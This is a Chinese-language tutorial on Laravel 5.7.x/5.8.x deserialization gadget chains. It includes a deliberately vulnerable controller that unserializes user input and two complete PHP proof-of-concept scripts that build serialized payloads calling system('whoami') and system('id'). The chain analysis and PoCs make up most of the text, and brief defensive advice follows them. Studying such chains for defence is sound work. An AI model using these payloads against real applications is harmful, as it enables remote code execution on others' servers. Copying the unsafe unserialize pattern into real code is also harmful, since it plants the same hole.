Laravel反序列化利用链分析
字数 1605 2025-08-20 18:18:05

Laravel反序列化漏洞分析与利用链教学文档

一、漏洞概述

Laravel框架中存在反序列化漏洞,攻击者可以通过精心构造的序列化数据在目标系统上执行任意代码。本文详细分析Laravel 5.8.x和5.7.x版本中的反序列化利用链。

二、Laravel 5.8.x 反序列化利用链分析

1. 环境配置

首先创建一个简单的DemoController控制器:

// DemoController.php
<?php
namespace App\Http\Controllers;

class DemoController extends Controller {
    public function demo() {
        if (isset($_GET['c'])) {
            $code = $_GET['c'];
            unserialize($code);
        } else {
            highlight_file(__FILE__);
        }
        return "Welcome to laravel5.8";
    }
}

routes/web.php中添加路由:

Route::get("/demo","\App\Http\Controllers\DemoController@demo");

2. 利用链分析

2.1 起点:PendingBroadcast::__destruct()

全局搜索__destruct()方法,找到Illuminate\Broadcasting\PendingBroadcast::__destruct()

public function __destruct() {
    $this->events->dispatch($this->event);
}

eventsevent参数可控,通过控制events参数可以调用任意类的dispatch()方法。

2.2 中间跳板:Dispatcher::dispatch()

寻找可利用的dispatch()方法,发现Illuminate\Bus\Dispatcher::dispatch()

public function dispatch($command) {
    if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
        return $this->dispatchToQueue($command);
    }
    return $this->dispatchNow($command);
}

2.3 关键调用:dispatchToQueue()

dispatchToQueue()方法中包含call_user_func()

public function dispatchToQueue($command) {
    $connection = $command->connection ?? null;
    $queue = call_user_func($this->queueResolver, $connection);
    // ...
}

2.4 条件绕过

要执行到dispatchToQueue()方法需要满足:

  1. $this->queueResolver有值(可控)
  2. $this->commandShouldBeQueued($command)返回true

commandShouldBeQueued()方法:

protected function commandShouldBeQueued($command) {
    return $command instanceof ShouldQueue;
}

需要$command(即PendingBroadcast类中的$this->event)是一个继承ShouldQueue接口的类,如BroadcastEvent类。

3. 完整利用链

  1. Illuminate\Broadcasting\PendingBroadcast__destruct()
  2. Illuminate\Bus\Dispatcherdispatch()
  3. Illuminate\Broadcasting\BroadcastEvent用于继承ShouldQueue接口

4. POC代码

<?php
namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($events="", $event="") {
            $this->events = $events;
            $this->event = $event;
        }
    }
}

namespace Illuminate\Bus {
    class Dispatcher {
        protected $queueResolver = "system";
    }
}

namespace Illuminate\Broadcasting {
    class BroadcastEvent {
        public $connection = "whoami";
    }
}

namespace {
    $d = new Illuminate\Bus\Dispatcher();
    $b = new Illuminate\Broadcasting\BroadcastEvent();
    $p = new Illuminate\Broadcasting\PendingBroadcast($d, $b);
    echo urlencode(serialize($p));
}
?>

三、Laravel 5.7.x 反序列化利用链分析

1. 关键类与属性

  • $test: 实例化的Illuminate\Auth\GenericUser
  • $app: 实例化的Illuminate\Foundation\Application
  • $command: 要执行的PHP函数(如system
  • $parameters: 函数参数(如array('id')

2. 利用链分析

2.1 起点:PendingCommand::__destruct()

public function __destruct() {
    if ($this->hasExecuted) {
        return;
    }
    $this->run();
}

2.2 关键调用:run()

public function run() {
    $this->hasExecuted = true;
    $this->mockConsoleOutput();
    try {
        $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
    }
    // ...
}

2.3 mockConsoleOutput()绕过

mockConsoleOutput()方法中需要$this->test->expectedQuestions为数组:

foreach ($this->test->expectedQuestions as $i => $question) {
    // ...
}

使用DefaultGenerator类的__get()方法返回数组:

class DefaultGenerator {
    protected $default;
    public function __construct($default = null) {
        $this->default = $default;
    }
    
    public function __get($attribute) {
        return $this->default;
    }
}

2.4 最终调用

通过Application类的call()方法最终调用call_user_func_array()执行命令。

3. 完整POC

<?php
namespace Illuminate\Foundation\Testing {
    class PendingCommand {
        protected $command;
        protected $parameters;
        public $test;
        protected $app;
        public function __construct($test, $app, $command, $parameters) {
            $this->app = $app;
            $this->test = $test;
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }
}

namespace Faker {
    class DefaultGenerator {
        protected $default;
        public function __construct($default = null) {
            $this->default = $default;
        }
    }
}

namespace Illuminate\Foundation {
    class Application {
        protected $instances = [];
        public function __construct($instances = []){
            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
        }
    }
}

namespace {
    $defaultgenerator = new Faker\DefaultGenerator(array("hello" => "ghtwf01"));
    $app = new Illuminate\Foundation\Application();
    $application = new Illuminate\Foundation\Application($app);
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, "system", array("id"));
    echo urlencode(serialize($pendingcommand));
}

四、防御措施

  1. 避免反序列化用户可控的输入
  2. 及时升级Laravel框架到最新版本
  3. 使用__wakeup()__destruct()方法时进行安全检查
  4. 实现对象序列化白名单机制

五、总结

本文详细分析了Laravel 5.8.x和5.7.x版本中的反序列化漏洞利用链,通过精心构造的序列化数据可以实现任意代码执行。理解这些利用链有助于开发者更好地防御此类漏洞。

Laravel反序列化漏洞分析与利用链教学文档 一、漏洞概述 Laravel框架中存在反序列化漏洞,攻击者可以通过精心构造的序列化数据在目标系统上执行任意代码。本文详细分析Laravel 5.8.x和5.7.x版本中的反序列化利用链。 二、Laravel 5.8.x 反序列化利用链分析 1. 环境配置 首先创建一个简单的DemoController控制器: 在 routes/web.php 中添加路由: 2. 利用链分析 2.1 起点:PendingBroadcast::__ destruct() 全局搜索 __destruct() 方法,找到 Illuminate\Broadcasting\PendingBroadcast::__destruct() : events 和 event 参数可控,通过控制 events 参数可以调用任意类的 dispatch() 方法。 2.2 中间跳板:Dispatcher::dispatch() 寻找可利用的 dispatch() 方法,发现 Illuminate\Bus\Dispatcher::dispatch() : 2.3 关键调用:dispatchToQueue() dispatchToQueue() 方法中包含 call_user_func() : 2.4 条件绕过 要执行到 dispatchToQueue() 方法需要满足: $this->queueResolver 有值(可控) $this->commandShouldBeQueued($command) 返回true commandShouldBeQueued() 方法: 需要 $command (即 PendingBroadcast 类中的 $this->event )是一个继承 ShouldQueue 接口的类,如 BroadcastEvent 类。 3. 完整利用链 Illuminate\Broadcasting\PendingBroadcast 的 __destruct() Illuminate\Bus\Dispatcher 的 dispatch() Illuminate\Broadcasting\BroadcastEvent 用于继承 ShouldQueue 接口 4. POC代码 三、Laravel 5.7.x 反序列化利用链分析 1. 关键类与属性 $test : 实例化的 Illuminate\Auth\GenericUser $app : 实例化的 Illuminate\Foundation\Application $command : 要执行的PHP函数(如 system ) $parameters : 函数参数(如 array('id') ) 2. 利用链分析 2.1 起点:PendingCommand::__ destruct() 2.2 关键调用:run() 2.3 mockConsoleOutput()绕过 mockConsoleOutput() 方法中需要 $this->test->expectedQuestions 为数组: 使用 DefaultGenerator 类的 __get() 方法返回数组: 2.4 最终调用 通过 Application 类的 call() 方法最终调用 call_user_func_array() 执行命令。 3. 完整POC 四、防御措施 避免反序列化用户可控的输入 及时升级Laravel框架到最新版本 使用 __wakeup() 或 __destruct() 方法时进行安全检查 实现对象序列化白名单机制 五、总结 本文详细分析了Laravel 5.8.x和5.7.x版本中的反序列化漏洞利用链,通过精心构造的序列化数据可以实现任意代码执行。理解这些利用链有助于开发者更好地防御此类漏洞。